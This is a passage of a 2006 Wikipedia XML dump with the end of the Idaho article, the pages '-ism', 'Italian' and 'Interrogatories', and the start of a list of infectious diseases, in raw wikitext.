When President [[Benjamin Harrison]] signed the law admitting Idaho as a [[U.S. state]] on [[July 3]], [[1890]], the population was 88,548. [[George Laird Shoup|George L. Shoup]] became the state's first governor. 

During its first years of statehood Idaho was plagued by labor unrest in its mining community, culminating in the December [[1905]] assasination of former governor [[Frank Steunenberg]] by [[Albert Horsley|Harry Orchard]], aka Albert Horsley, a radicial unionist incensed by Steunenberg's efforts as governor to break an [[1899]] strike after being elected on a pro-labor platform. In a nationally publicized [[1907]] trial [[Industrial Workers of the World]] organizer [[Bill Haywood|&quot;Big Bill&quot; Haywood]] and two other labor leaders were tried and acquitted of conspiracy to murder Steunenberg. Orchard was convicted and sentenced to life in prison.

[[Image:All female survey crew - Minidoka Project, Idaho 1918.jpg|thumb|left|All female survey crew - Minidoka Project, Idaho 1918]]

After statehood, Idaho's economy began a gradual shift away from mining and towards agriculture, particularly in the south. Older mining communities such as Silver City and [[Rocky Bar, Idaho|Rocky Bar]] gave way to agricultural communities incorporated after statehood, such as [[Nampa, Idaho|Nampa]] and [[Twin Falls, Idaho|Twin Falls]]. Milner Dam on the Snake River, completed in [[1905]], allowed for the formation of many agricultural communities in the [[Magic Valley]] region, which had previously been nearly unpopulated. 

Meanwhile, some of the mining towns were able to reinvent themselves as resort communities, most notably in [[Blaine County, Idaho|Blaine County]], where the [[Sun Valley, Idaho|Sun Valley]] ski resort opened in [[1936]]. Others, such as Silver City and Rocky Bar, became [[ghost town|ghost towns]].

In the north, mining continued to be an important industry for several more decades. The closure of the Bunker Hill Mine complex in [[Shoshone County, Idaho|Shoshone County]] in the early 1980s sent the region's economy into a tailspin. However, since that time there has been a substantial increase in [[tourism]] in northern Idaho, particuarly in [[Coeur d'Alene, Idaho|Coeur d'Alene]].

Although Idaho's dependence on mining has decreased, the state remains a top producer of [[silver]] and [[lead]]. Today, Idaho's industrial economy is growing, with high-tech products a leading sector. Since the late [[1970s]], Boise has emerged as a center for [[semiconductor manufacturing]]. Boise is the home of [[Micron Technology Inc.]], the only U.S. manufacturer of [[dynamic random access memory]] (DRAM) chips. [[Hewlett-Packard]] has operated a large plant in Boise, in southwestern Idaho, since the 1970s, devoted primarily to [[LaserJet printer]]s.[http://memory.loc.gov/ammem/today/mar04.html]. [[Dell, Inc.]] operates a major customer support call center in Twin Falls.

A troubling development in the [[1980s]] was the rise in North Idaho of a few [[right-wing]] [[extremist]] and &quot;survivalist&quot; political groups, most notably one holding [[Neo-Nazi]] views, the [[Aryan Nations]]. These groups were most heavily concentrated in the Panhandle region of the state, particularly in the vicinity of [[Coeur d'Alene, Idaho|Coeur d'Alene]], a resort town. Although Idaho is a conservative state politically the vast majority of its residents reject such hateful ideologies. In 2001, the Aryan Nations compound, which had been located in [[Hayden Lake, Idaho]], was confiscated as a result of a court case, and the organization moved out of state. About the same time Boise installed an impressive stone Human Rights Memorial featuring a bronze statue of [[Anne Frank]] and quotations from her and many other writers extolling human freedom and equality.

== Law and government ==
[[Image:Boise Idaho.jpg|thumb|Boise, Idaho, state capitol]]
===State government===
The current Governor of Idaho is [[Dirk Kempthorne]] ([[Republican Party (United States)|Republican]]), re-elected in 2002.  
{{see|List of Idaho Governors}}

The constitution of Idaho provides for 3 branches of government: the executive, legislative and judicial branches. Idaho has a [[bicameral]] legislature, elected from 35 legislative districts, each represented by one Senator and two Representatives.  Idaho still operates under its original ([[1889]]) state constitution.

====United States Senators====
*[[Larry Craig|Larry E. Craig]] ([[United States Republican Party|Republican]], Class 2)
*[[Mike Crapo]] (Republican, Class 3)
  
====House of Representatives====
Idaho has two [[United States House of Representatives|House Representatives]]

*1st District: [[C. L. Otter|C.L. &quot;Butch&quot; Otter]] (Republican)
*2nd District: [[Mike Simpson]] (Republican)

On the national level Idaho is a strongly Republican state which has not supported a [[United States Democratic Party|Democrat]] for [[president of the United States|president]] since [[1964]]. Even in that election, [[Lyndon Johnson]] defeated [[Barry Goldwater]] by less than two percentage points. In [[2004]], [[George W. Bush]] carried Idaho by a margin of 38 percentage points and 68.4% of the vote, winning in 43 of 44 counties. Only [[Blaine County, Idaho|Blaine County]], which contains the [[Sun Valley, Idaho|Sun Valley]] ski resort, supported [[John Kerry]].

The Idaho Legislature has been continuously controlled by the Republican Party since the late 1950s, although Democratic legistators are routinely elected from [[Boise, Idaho|Boise]], [[Pocatello, Idaho|Pocatello]], [[Blaine County, Idaho|Blaine County]] and the northern Panhandle.

Idaho is an alcohol monopoly or [[Alcoholic beverage control state]].

== Geography ==
[[Image:National-atlas-idaho.PNG|left|thumb|Map of Idaho]]
[[Image:Owyhee Mountains.jpg|thumb|Reynolds Creek Experimental Watershed in the Owyhee Mountains about 50 miles southwest of Boise, Idaho.]]
[[Image:Crooked Creek in Gospel Hump Wilderness.jpg|thumb|Crooked Creek in Gospel Hump Wilderness, Idaho]]
[[Image:Idaho USA12.jpg|thumb|Idaho landscape]]
{{see|List of Idaho counties}}
Idaho borders [[Washington]], [[Oregon]], [[Nevada]], [[Utah]], [[Montana]], [[Wyoming]] and the [[Canada|Canadian]] province of [[British Columbia]] (the Idaho-BC border is 48 miles long). Idaho has a rugged landscape with some of the largest unspoiled natural areas in the country. Idaho is a [[Rocky Mountains|Rocky Mountain]] state with exciting scenery and enormous natural resources. Idaho has towering, snow-capped mountain ranges, swirling white rapids, peaceful lakes and steep canyons. The churning waters of [[Snake River]] rush through [[Hells Canyon]], which is deeper than the [[Grand Canyon]]. [[Shoshone Falls]] plunges down rugged cliffs from a height greater than that of [[Niagara Falls]].

The major rivers in Idaho are the [[Snake River]], the [[Clearwater River (Idaho)|Clearwater River]] and the [[Salmon River (Idaho)|Salmon River]].  Other significant rivers include the [[Boise River]] and the [[Payette River]].

Idaho's highest point is [[Borah Peak]] in the Lost River Mountains north of [[Mackay, Idaho|Mackay]]. Idaho's lowest point is in [[Lewiston, Idaho|Lewiston]], where the Clearwater River joins the Snake River and continues into [[Washington]].

Most major cities in Idaho, including [[Boise, Idaho|Boise]], [[Idaho Falls, Idaho|Idaho Falls]], [[Pocatello, Idaho|Pocatello]] and [[Twin Falls, Idaho|Twin Falls]], are in the [[Mountain Standard Time Zone]]. Areas north of the Salmon River, including [[Coeur d'Alene, Idaho|Coeur d'Alene]] and [[Lewiston, Idaho|Lewiston]], are in the [[Pacific Standard Time Zone]].

=== Lakes ===
&lt;table&gt;&lt;tr&gt;&lt;td valign=top&gt; 
* [[Coeur d'Alene]]
* [[Priest Lake]]
* Payette Lake (McCall)
* [[Lake Pend Oreille|Pend Oreille]]
* Lake Lowell
* Henery's Lake
 &lt;/td&gt;&lt;td valign=top&gt; 
* Sawtooth National Recreational Area
** Redfish Lake
** Alturas Lake
** Petit Lake
** Sawtooth Lake
 &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

=== National Parks ===
* [[California National Historic Trail]]
* [[City of Rocks National Reserve]]
* [[Craters of the Moon National Monument and Preserve|Craters of the Moon National Monument]]
* [[Hagerman Fossil Beds National Monument]]
* [[Lewis and Clark National Historic Trail]]
* [[Minidoka Internment National Monument]]
* [[Nez Perce National Historical Park]]
* [[Oregon National Historic Trail]]
* [[Yellowstone National Park]]

=== State Parks ===
[[Image:wiki_idaho.jpg|thumb|right|350px|Greetings from Idaho]]
&lt;table&gt;&lt;tr&gt;&lt;td valign=top&gt; 
* Balanced Rock
* [[Bear Lake State Park]]
* [[Box Canyon State Park]]
* [[Bruneau Dunes State Park]] 
* [[Castle Rocks State Park]]
* [[City of Rocks State Park]]
* [[Coeur d'Alene Parkway]]
* [[Dworshak State Park]]
* [[Eagle Island State Park]]
* [[Farragut State Park]]
* [[Harriman State Park, Idaho|Harriman State Park]]
* [[Hells Canyon]]
* [[Hells Gate State Park]]
* [[Henrys Lake State Park]]
* [[Heyburn State Park]]
 &lt;/td&gt;&lt;td valign=top&gt; 
* [[Lake Cascade State Park]]
* [[Lake Walcott State Park]]
* [[Lucky Peak State Park]] 
* [[Malad Gorge State Park]]
* [[Massacre Rocks State Park]]
* [[Mary Minerva McCroskey State Park]]
* [[Niagara Springs State Park]]
* [[Old Mission State Park]]
* [[Ponderosa State Park]]
* [[Priest Lake State Park]]
* [[Round Lake State Park]]
* [[Three Island Crossing State Park]]
* [[Trail of the Coeur d'Alenes]] 
* [[Winchester Lake State Park]]
* [[Yankee Fork State Park]]
 &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

=== Surrounding Territories ===
* [[British Columbia]] - north
* [[Montana]] - east
* [[Nevada]] - southwest
* [[Oregon]] - west
* [[Utah]] - south
* [[Washington]] - west
* [[Wyoming]] - east

== Economy ==
The state's gross product for 2004 was $43.6 billion. The Per Capita Income for 2004 was $26,881. 

Idaho is an important agricultural state, producing nearly one third of the [[potato|potatoes]] grown in the United States. Other important agricultural products are [[beans]], [[lentils]], [[sugar beets]], [[cattle]], dairy products, [[wheat]], and [[barley]]. 

Important industries in Idaho are food processing, lumber and wood products, machinery, chemical products, paper products, electronics manufacturing, silver and other mining, and tourism. The [[Idaho National Laboratory]] (INL), a government lab for nuclear energy research, is also an important part of the eastern Idaho economy.

== Demographics ==
{| class=&quot;toccolours&quot; align=&quot;right&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin:0 0 1em 1em; font-size: 95%;&quot;
|-
! colspan=2 bgcolor=&quot;#ccccff&quot; align=&quot;center&quot;| Historical populations
|-
! align=&quot;center&quot;| Census&lt;br&gt;year !! align=&quot;right&quot;| Population
|-
| colspan=2|&lt;hr&gt;
|-
| align=&quot;center&quot;| 1870 || align=&quot;right&quot;| 14,999
|-
| align=&quot;center&quot;| 1880 || align=&quot;right&quot;| 32,610
|-
| align=&quot;center&quot;| 1890 || align=&quot;right&quot;| 88,548
|-
| align=&quot;center&quot;| 1900 || align=&quot;right&quot;| 161,772
|-
| align=&quot;center&quot;| 1910 || align=&quot;right&quot;| 325,594
|-
| align=&quot;center&quot;| 1920 || align=&quot;right&quot;| 431,866
|-
| align=&quot;center&quot;| 1930 || align=&quot;right&quot;| 445,032
|-
| align=&quot;center&quot;| 1940 || align=&quot;right&quot;| 524,873
|-
| align=&quot;center&quot;| 1950 || align=&quot;right&quot;| 588,637
|-
| align=&quot;center&quot;| 1960 || align=&quot;right&quot;| 667,191
|-
| align=&quot;center&quot;| 1970 || align=&quot;right&quot;| 712,567
|-
| align=&quot;center&quot;| 1980 || align=&quot;right&quot;| 943,935
|-
| align=&quot;center&quot;| 1990 || align=&quot;right&quot;| 1,006,749
|-
| align=&quot;center&quot;| [[United States 2000 Census|2000]] || align=&quot;right&quot;| 1,293,953
|}

As of 2005, Idaho has an estimated population of 1,429,096, which is an increase of 33,956, or 2.4%, from the prior year and an increase of 135,140, or 10.4%, since the year 2000.  This includes a natural increase since the last census of 58,884 people (that is 111,131 births minus 52,247 deaths) and an increase due to net migration of 75,795 people into the state.  Immigration from outside the United States resulted in a net increase of 14,522 people, and migration within the country produced a net increase of 61,273 people.

This makes Idaho the sixth fastest-growing state, after only Nevada, Arizona, Florida, Georgia, and Utah. From 2004 to 2005, however, Idaho was the third fastest-grower, surpassed only by Nevada and Arizona.  

[[Nampa, Idaho|Nampa]], the state's second largest city, has experienced particularly strong growth in recent years. According to census estimates Nampa has grown 22.1 perecent to nearly 65,000 residents between [[2000]] and [[2003]]. Growth of 5% or more over the same period has also been observed in [[Caldwell, Idaho|Caldwell]], [[Coeur d'Alene, Idaho|Coeur d'Alene]], [[Meridian, Idaho|Meridian]] and [[Twin Falls, Idaho|Twin Falls]] [http://quickfacts.census.gov/qfd/states/16000.html].

Since 1990, Idaho's population has increased 386,000 (38%).

The [[Boise metropolitan area|Boise Metropolitan Area]] (officially known as the Boise City-Nampa, ID Metropolitan Statistical Area) is Idaho's largest metropolitan area. Other metropolitan areas in order of size are [[Coeur d'Alene, Idaho|Coeur d'Alene]], [[Idaho Falls, Idaho|Idaho Falls]], [[Pocatello, Idaho|Pocatello]] and [[Lewiston, Idaho|Lewiston]]. As of [[2006]] six official [[United States micropolitan area|micropolitan statistical areas]] are based in Idaho. 

===Race===
The racial makeup of Idaho:
*88% [[Whites|White]]
*7.9% [[Hispanics|Hispanic]]
*1.4% [[Native American (U.S. Census)|Native American]]
*0.9% [[Asians|Asian]]
*0.4% [[Blacks|Black]]
*2% [[Mixed race]]

The five largest reported ancestries in the state are: [[German-American|German]] (18.9%), [[British-American|English]] (18.1%), [[Ireland|Irish]] (10%), American (8.4%), [[Norwegian-American|Norwegian]] (3.6%).

===Religion===
[[Image:IdahoCity.jpg|thumb|A church in Idaho City]]

As with many other western states, the percentage of Idaho's population identifying themselves as &quot;non-religious&quot; (an [[umbrella term]] which is sometimes synonymous with or includes elements of [[atheism]], [[agnosticism]], [[skepticism]], [[freethought]], [[humanism]], [[secular humanism]], [[heresy]], [[logical positivism]], and [[apathy]]) is higher than the rest of the country.

The current religious affiliations of the people of Idaho are shown in the table below:

*[[Christianity|Christian]] &amp;ndash; 65%
**[[Protestant]] &amp;ndash; 50%
***[[Baptist]] &amp;ndash; 10%
***[[Methodism|Methodist]] &amp;ndash; 10%
***[[Lutheranism|Lutheran]] &amp;ndash; 3%
***[[Presbyterianism|Presbyterian]] &amp;ndash; 3%
***Other Protestant or general Protestant &amp;ndash; 24%
**[[Roman Catholicism in the United States|Catholic]] &amp;ndash; 15%
*[[LDS]] &amp;ndash; 14%
*Other Religions &amp;ndash; &lt;1%
*Non-Religious &amp;ndash; 20%

== Important cities and towns ==
&lt;table&gt;&lt;tr&gt;&lt;td valign=top&gt; 
Population &gt; 100,000 (urbanized area)
* [[Boise, Idaho|Boise]] 
(state capital)
 &lt;/td&gt;&lt;td valign=top&gt; 
Population &gt; 10,000 (urbanized area)
* [[Blackfoot, Idaho|Blackfoot]]
* [[Burley, Idaho|Burley]]
* [[Caldwell, Idaho|Caldwell]] 
* [[Coeur d'Alene, Idaho|Coeur d'Alene]]
* [[Idaho Falls, Idaho|Idaho Falls]]
* [[Lewiston, Idaho|Lewiston]]
* [[Meridian, Idaho|Meridian]]
* [[Moscow, Idaho|Moscow]] - Home of the University of Idaho
* [[Mountain Home, Idaho|Mountain Home]]
* [[Nampa, Idaho|Nampa]]
* [[Pocatello, Idaho|Pocatello]]
* [[Post Falls, Idaho|Post Falls]]
* [[Rexburg, Idaho|Rexburg]]
* [[Twin Falls, Idaho|Twin Falls]]
 &lt;/td&gt;&lt;td valign=top&gt; 
Smaller Towns and Cities
* [[Sun Valley, Idaho|Sun Valley]] - major year-round resort with world-class skiing 
* [[Island Park, Idaho|Island Park]] - snowmobiling, summer recreation
* [[Driggs, Idaho|Driggs]] - skiing (Grand Targhee)
* [[St. Anthony, Idaho|St. Anthony]] - sand dunes
* [[Kuna, Idaho|Kuna]]
* [[McCall, Idaho|McCall]] - major tourist hub
* [[Rathdrum, Idaho|Rathdrum]]
* [[Hayden, Idaho|Hayden]]
* [[Kellogg, Idaho|Kellogg]] - skiing (Silver Mountain)
* [[Wallace, Idaho|Wallace]]
* [[Plummer, Idaho|Plummer]]
* [[Worley, Idaho|Worley]]
* [[Mullan, Idaho|Mullan]]
* [[St. Maries, Idaho|St. Maries]]
* [[Sandpoint, Idaho|Sandpoint]]
* [[Malad City, Idaho|Malad City]]
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

== Education ==
=== Colleges and universities ===
&lt;table&gt;&lt;tr&gt;&lt;td valign=top&gt; 
*[[Albertson College of Idaho]]
*[[Boise State University]]
*[[Brigham Young University-Idaho]]
*[[Idaho State University]]
 &lt;/td&gt;&lt;td valign=top&gt; 
*[[Lewis-Clark State College]]
*[[Northwest Nazarene University]]
*[[University of Idaho]]
 &lt;/td&gt;&lt;td valign=top&gt; 
*[[North Idaho College]]
*[[College of Southern Idaho]]
 &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

== Professional sports teams ==
The [[minor league baseball|Minor League baseball teams]] are:
*[[Boise Hawks]]
*[[Idaho Falls Chukars]]

Other minor league sports teams:
*[[Idaho Stampede]]
*[[Idaho Steelheads]]

== Miscellaneous information ==

=== Major highways ===
&lt;table&gt;&lt;tr&gt;&lt;td valign=top&gt; 
*[[Interstate 15]]
*[[Interstate 84 (west)|Interstate 84]]
*[[Interstate 86 (west)|Interstate 86]]
*[[Interstate 90]]
*[[Interstate 184]]
 &lt;/td&gt;&lt;td valign=top&gt; 
*[[U.S. Highway 2]]
*[[U.S. Highway 12]]
*[[U.S. Highway 20]]
*[[U.S. Highway 26]]
*[[U.S. Highway 30]]
*[[U.S. Highway 89]]
*[[U.S. Highway 91]]
*[[U.S. Highway 93]]
*[[U.S. Highway 95]]
 &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

=== Well-known Idahoans ===
{{see|:Category:People from Idaho}}

== See also ==
*[[Red Rock Pass]] - The pass where the ancient [[Lake Bonneville]] was emptied.

== External links ==
{{sisterlinks|Idaho}}
*http://www.state.id.us/
*[http://www.idahoparks.org/ Idaho Department of Parks and Recreation]
*[http://www.visitid.org/ Visit Idaho site]
*[http://www.Untraveledroad.com/USA/Idaho.htm A photographic virtual tour of Idaho]
*[http://quickfacts.census.gov/qfd/states/16000.html U.S. Census Bureau]
*[http://www.usnewspapers.org/state/idaho Idaho Newspapers]

{{Idaho}}
{{United_States}}

[[Category:States of the American West]]
[[Category:Idaho|*]]
[[Category:States of the United States]]
[[Category:1890 establishments]]

[[ang:Idaho]]
[[bg:Айдахо]]
[[ca:Idaho]]
[[cs:Idaho]]
[[da:Idaho]]
[[de:Idaho]]
[[et:Idaho]]
[[es:Idaho]]
[[eo:Idaho]]
[[fr:Idaho]]
[[gl:Idaho]]
[[ko:아이다호 주]]
[[id:Idaho]]
[[is:Idaho]]
[[it:Idaho]]
[[he:איידהו]]
[[ka:აიდაჰო]]
[[ks:ऐडहो]]
[[lv:Aidaho]]
[[lt:Aidahas]]
[[hu:Idaho]]
[[mk:Ајдахо]]
[[nl:Idaho]]
[[ja:アイダホ州]]
[[no:Idaho]]
[[nn:Idaho]]
[[os:Айдахо]]
[[pl:Idaho]]
[[pt:Idaho]]
[[ru:Айдахо]]
[[sq:Idaho]]
[[simple:Idaho]]
[[sl:Idaho]]
[[sr:Ајдахо]]
[[fi:Idaho]]
[[sv:Idaho]]
[[th:มลรัฐไอดาโฮ]]
[[uk:Айдахо]]
[[zh:愛德荷州]]</text>
    </revision>
  </page>
  <page>
    <title>-ism</title>
    <id>14608</id>
    <revision>
      <id>39979982</id>
      <timestamp>2006-02-17T06:15:06Z</timestamp>
      <contributor>
        <username>Elthon73</username>
        <id>764879</id>
      </contributor>
      <text xml:space="preserve">{{Otheruses3|ISM}} &lt;!--needed because [[Ism]] redirects here--&gt;
{{Table_Suffixes}}
{{wiktionarypar|-ism}}
The [[English language|English]] [[suffix]] ''-'''ism''''' was first used to form a [[noun]] of action from a verb. It is taken from the [[Greek language|Greek]] suffix ''-ismos'' that likewise forms abstract nouns from verbal stems. An example is ''baptism'', from Greek ''baptismos'' &quot;immersion&quot;, derived from ''baptizein'', a Greek verb meaning &quot;to immerse&quot;. Its usage was later extended to signify larger organized systems and concepts &amp;mdash;in [[belief]], [[ideology]], [[doctrine]], and [[ritual]] practice.

The first recorded usage of the suffix ''ism'' as a separate word in its own right was in [[1680]]. By the nineteenth century it was being used by [[Thomas Carlyle]] to signify a pre-packaged [[ideology]]. It was later used in this sense by such writers as [[Julian Huxley]] and [[George Bernard Shaw]].  

In the present day, it appears in the title of a standard survey of political thought, ''Today's ISMS'' by William Ebenstein, first published in the [[1950s]], and now in its 11th edition.  

The -ism suffix can be used to express the following concepts

*doctrine or [[philosophy]] (e.g. [[pacifism]], [[olympism]])
*[[theory]] developed by an individual (e.g. [[Marxism]])
*[[political movement]] (e.g. [[feminism]])
*[[artistic movement]] (e.g. [[cubism]])
*[[Action (philosophy)|action]], [[process]] or [[practice]] (e.g. [[voyeurism]])
*[[characteristic]], [[quality]] or [[origin]] (e.g. [[heroism]])
*[[state]] or [[condition]] (e.g. [[pauperism]])
*[[excess]] or [[disease]] (e.g. [[botulism]])
*[[prejudice]] or [[bias]] (e.g. [[racism]])
*characteristic [[speech]] patterns (e.g. [[Yogiism]], [[Bushism]])
*[[religion]] or belief system (e.g. [[Mormonism]])

Many ''isms'' are defined as an act or practice by some, while also being defined as the doctrine or philosophy ''behind'' the act or practice by others.  Examples include [[activism]], [[altruism]], [[despotism]], [[elitism]], [[optimism]], [[sexism]] and [[terrorism]].

==See also==
*[[List of Isms]]
*[[List of philosophical isms]]
*[[classical compound]]
*[[-ology]]
*[[Isms of the 20th Century Theater]]


[[Category:Suffixes|ism]]
[[Category:Greek suffixes|ism]]

[[da:-isme]]
[[de:-ismus]]
[[fr:Idée politique]]
[[lb:Politesch Iddien]]
[[ja:主義]]
[[sv:Lista över ismer]]
[[zh:主义]]</text>
    </revision>
  </page>
  <page>
    <title>Italian</title>
    <id>14611</id>
    <revision>
      <id>41106699</id>
      <timestamp>2006-02-25T02:13:26Z</timestamp>
      <contributor>
        <username>Westfall</username>
        <id>965234</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Wiktionary}}

'''Italian''' may refer to :

*[[Italy]], a country
*[[Italian language]], a Romance language spoken primarily in Italy
*[[Italian people]], an ethnic group
*[[Italian cuisine]]
*[[Italian Game]], a chess opening

''See also:'' [[:Category:Italy]]

{{disambig}}

[[de:Italienisch]]
[[it:Italiano]]
[[no:Italiensk]]
[[simple:Italian]]</text>
    </revision>
  </page>
  <page>
    <title>Interrogatories</title>
    <id>14612</id>
    <revision>
      <id>40363009</id>
      <timestamp>2006-02-20T01:47:15Z</timestamp>
      <contributor>
        <username>Brianhe</username>
        <id>82697</id>
      </contributor>
      <minor />
      <comment>/* Example */ ty</comment>
      <text xml:space="preserve">{{CivilProcedure}}
In [[law]], '''interrogatories''' (also known as Requests for Further Information) are a formal set of written questions propounded by one [[litigant]] and required to be answered by an adversary, in order to clarify matters of [[evidence (law)|evidence]] and help to determine in advance what facts will be presented at any [[trial (law)|trial]] in the case.

=Purpose of Procedure=
The vast majority of such questions are to find background information about the litigants that is not specific to each case, so it is common to use pre-printed forms containing standard questions that are generally relevant to the type of case at hand, called '''form interrogatories'''.  These may even be determined by [[statute]] or [[court]] rules.

In [[civil]] cases, the issues to be decided can potentially be more complex that in [[criminal]] cases. For example if a person is charged with [[speeding]], in a hypothetical case the prosecution have to prove that the person was the driver of the motor vehicle and that it was being driven in excess of the proper speed without any lawful excuse.

=Example=
One common civil claim that is brought compensation arising out of a road accident. In reality a road traffic accident is rarely complicated. However to demonstrate the concept, this section assumes there is a car accident in a Common Law jurisdiction that does use complicated concepts

In this hypothetical claim the injured person would usually rely on the fact that the driver to be held responsible has (in the injured person's opinion) breached the [[tort]] of [[negligence]]. If they did that, the law requires the injured person to show that the driver owed them a duty of care and breached it. In practical reality, the courts accept that drivers owe other road users and pedestrians a duty of care, and the case would come down to whether the driver drove in accordance with the standard of a reasonable driver, and whether the injured person's injuries are a foreseeable consequence of the driving.

However, the manner in which the injured person could seek to prove those things is very variable. In the simplest case the injured person could allege that the driver went too fast, failed to control the car properly or failed to keep lookout. The driver may have a defence to those allegations, perhaps if the accident occurred at low speed, and was unavoidable (maybe due to some third party intervention). The injured person may, however, argue that the driver was still responsible (perhaps the driver should have used the horn of the vehicle to alert the third party), or there may be other allegations.

The [[pleadings]] of the parties are intended to let the other parties know what each side will seek to prove at trial, and what case they have to answer.

However, in a complicated case, the pleadings may not give enough information. In the above exmample, the pleading may allege:
:The driver drove negligently. The details of the negligence are,
::#failing to drive carefully
::#driving too fast
::#failing to make proper use of the car's controls
::#failing to take reasonable steps to alert the third party so as to avoid the accident.

The driver is told the broad outlines of the case, but still does not know what allegation is being made regarding alerting the third party.

The driver can therefore issue an inerrogatory to require the injured party to state exactly what it is that the driver did not do and should have done.

In the hypothetical example, this would assist the litigation process, because for example, if the injured person states that the driver ought to have alerted the third party, the driver may be aware that the law imposes no such duty, and can issue a motion, (or application) to the court to have that part of the claim dismissed.

=Specific Jurisdictions=
==England and Wales==
In England and Wales, this procedure is governed by Part 18 of the [[Civil Procedure Rules 1998]]. It is known as a ''Request for Further Information''

In the ''Request for Further Information'' procedure, use of standard pre-printed forms is not common, and any such request would almost certainly be looked upon critically by the courts, as use of standard forms rather than requests tailored specifically to the case is likely to offend against the 'Overriding Objective' in that it is unlikely to be proportionate to the case, and instead result in the parties or their lawyers having to spend time, money and resources in answering the questions. The way the rules work, this could easily result in the party making the request having to pay both their own costs and the costs of the opponent - even if they win the case at the end.

In England and Wales, firstly the person wanting to know the information request it in writing, either in letter form, or more usually, on a blank document with the questions on one side of the page and space for the answers on the other side. A deadline is set for the opponent to answer the request. If they fail to answer, the person requesting can make an [[motion|Application on Notice]] to the court and ask the procedural judge to make an order compelling the opponent to answer the questions. Whether the judge will make an order is discretionary and will be determined in accordance with the overriding objective, and in the context of the questions asked.

In particular, the procedure is not intended to be used to ask questions that would ordinarily be dealt with at [[Trial (law)|trial]].

[[Category:Civil procedure]]
[[Category:Evidence]]
[[Category:Legal terms]]</text>
    </revision>
  </page>
  <page>
    <title>List of infectious diseases</title>
    <id>14613</id>
    <revision>
      <id>40665944</id>
      <timestamp>2006-02-22T04:04:37Z</timestamp>
      <contributor>
        <username>AxelBoldt</username>
        <id>2</id>
      </contributor>
      <comment>/* [[Fungus|Fungal]] infectious diseases */ +athlete's foot</comment>
      <text xml:space="preserve">'''Human [[infectious disease]]s''' grouped by causative agent and alphabetically arranged.

== [[virus (biology)|Viral]] infectious diseases ==

[[AIDS]] &amp;ndash; [[AIDS|AIDS Related Complex]] &amp;ndash; [[Chickenpox]] (Varicella) &amp;ndash; [[Common cold]] &amp;ndash; [[Cytomegalovirus|Cytomegalovirus Infection]] &amp;ndash; [[Colorado tick fever]] &amp;ndash; [[Dengue fever]] &amp;ndash; [[Ebola haemorrhagic fever]] &amp;ndash; [[Mumps|Epidemic parotitis]] &amp;ndash; [[Influenza|Flu]] &amp;ndash; [[Hand, foot and mouth disease]] &amp;ndash; [[Hepatitis]] &amp;ndash; [[Herpes simplex]] &amp;ndash; [[Herpes zoster]] &amp;ndash; [[Human papillomavirus|HPV]] &amp;ndash; [[Influenza]] &amp;ndash; [[Lassa fever]] &amp;ndash; [[Measles]] &amp;ndash; [[Marburg haemorrhagic fever]] &amp;ndash; [[Infectious mononucleosis]] &amp;ndash; [[Mumps]] &amp;ndash; [[Poliomyelitis]] &amp;ndash; [[Progressive multifocal leukencephalopathy]] &amp;ndash; [[Rabies]] &amp;ndash; [[Rubella]] &amp;ndash; [[Severe acute respiratory syndrome|SARS]] &amp;ndash; [[Smallpox]] (Variola) &amp;ndash; [[Viral encephalitis]] &amp;ndash; [[Gastroenteritis|Viral gastroenteritis]] &amp;ndash; [[Viral meningitis]] &amp;ndash; [[pneumonia|Viral pneumonia]] &amp;ndash; [[West Nile virus|West Nile disease]] &amp;ndash; [[Yellow fever]]

== [[bacterium|Bacterial]] infectious diseases ==

[[Anthrax disease|Anthrax]] &amp;ndash; [[Bacterial Meningitis]] &amp;ndash;  [[Brucellosis]] &amp;ndash; [[Bubonic plague]] &amp;ndash; [[Campylobacteriosis]] &amp;ndash; [[Cat scratch fever|Cat Scratch Disease]] &amp;ndash; [[Cholera]] &amp;ndash; [[Diphtheria]] &amp;ndash; [[Epidemic Typhus]] &amp;ndash; [[Gonorrhea]] &amp;ndash; [[Impetigo]] &amp;ndash; [[Leprosy|Hansen's Disease]] &amp;ndash; [[Legionellosis]] &amp;ndash; [[Leprosy]] &amp;ndash; [[Leptospirosis]] &amp;ndash; [[Listeriosis]] &amp;ndash; [[Lyme Disease]] &amp;ndash; [[Melioidosis]] &amp;ndash; [[Staphylococcus aureus|MRSA infection]] &amp;ndash; [[Nocardiosis]] &amp;ndash; [[Pertussis]] &amp;ndash; [[Pneumonia|Pneumococcal pneumonia]] &amp;ndash; [[Psittacosis]] &amp;ndash; [[Q fever]] &amp;ndash; [[Rocky Mountain Spotted Fever]] or [[RMSF]] &amp;ndash; [[Salmonella|Salmonellosis]] &amp;ndash; [[Group A streptococcal infection|Scarlet Fever]] &amp;ndash; [[Shigellosis]] &amp;ndash; [[Syphilis]] &amp;ndash; [[Tetanus]] &amp;ndash; [[Chlamydia|Trachoma]] &amp;ndash; [[Tuberculosis]] &amp;ndash; [[Tularemia]] &amp;ndash; [[Typhoid Fever]] &amp;ndash; [[Typhus]] &amp;ndash; [[Whooping Cough]]

== [[parasite|Parasitic]] infectious diseases ==

